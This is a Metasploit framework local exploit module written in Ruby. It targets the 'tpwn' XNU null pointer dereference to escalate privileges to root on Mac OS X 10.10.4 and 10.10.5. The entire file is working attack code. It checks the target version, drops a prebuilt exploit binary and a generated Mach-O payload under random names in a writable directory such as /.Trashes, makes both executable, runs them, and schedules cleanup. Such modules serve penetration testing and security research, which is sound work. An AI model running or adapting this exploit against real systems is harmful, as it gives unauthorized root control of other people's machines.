##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mac OS X "tpwn" Privilege Escalation',
      'Description'    => %q{
        This module exploits a null pointer dereference in XNU to escalate
        privileges to root.

        Tested on 10.10.4 and 10.10.5.
      },
      'Author'         => [
        'qwertyoruiop', # Vulnerability discovery and PoC
        'wvu'           # Copy/paste monkey
      ],
      'References'     => [
        ['URL', 'https://github.com/kpwn/tpwn']
      ],
      'DisclosureDate' => '2015-08-16',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.10.4-10.10.5', {}]
      ],
      'DefaultTarget'  => 0
    ))

    register_advanced_options [
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    ver?? CheckCode::Appears : CheckCode::Safe
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    print_status("Writing exploit to `#{exploit_file}'")
    write_file(exploit_file, binary_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status('Executing exploit...')
    cmd_exec(sploit)
    print_status('Executing payload...')
    cmd_exec(payload_file)
  end

  def ver?
    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
      Rex::Version.new('10.10.4'), Rex::Version.new('10.10.5')
    )
  end

  def sploit
    "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
  end

  def binary_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    @exploit_file ||=
      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def payload_file
    @payload_file ||=
      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
  end
end
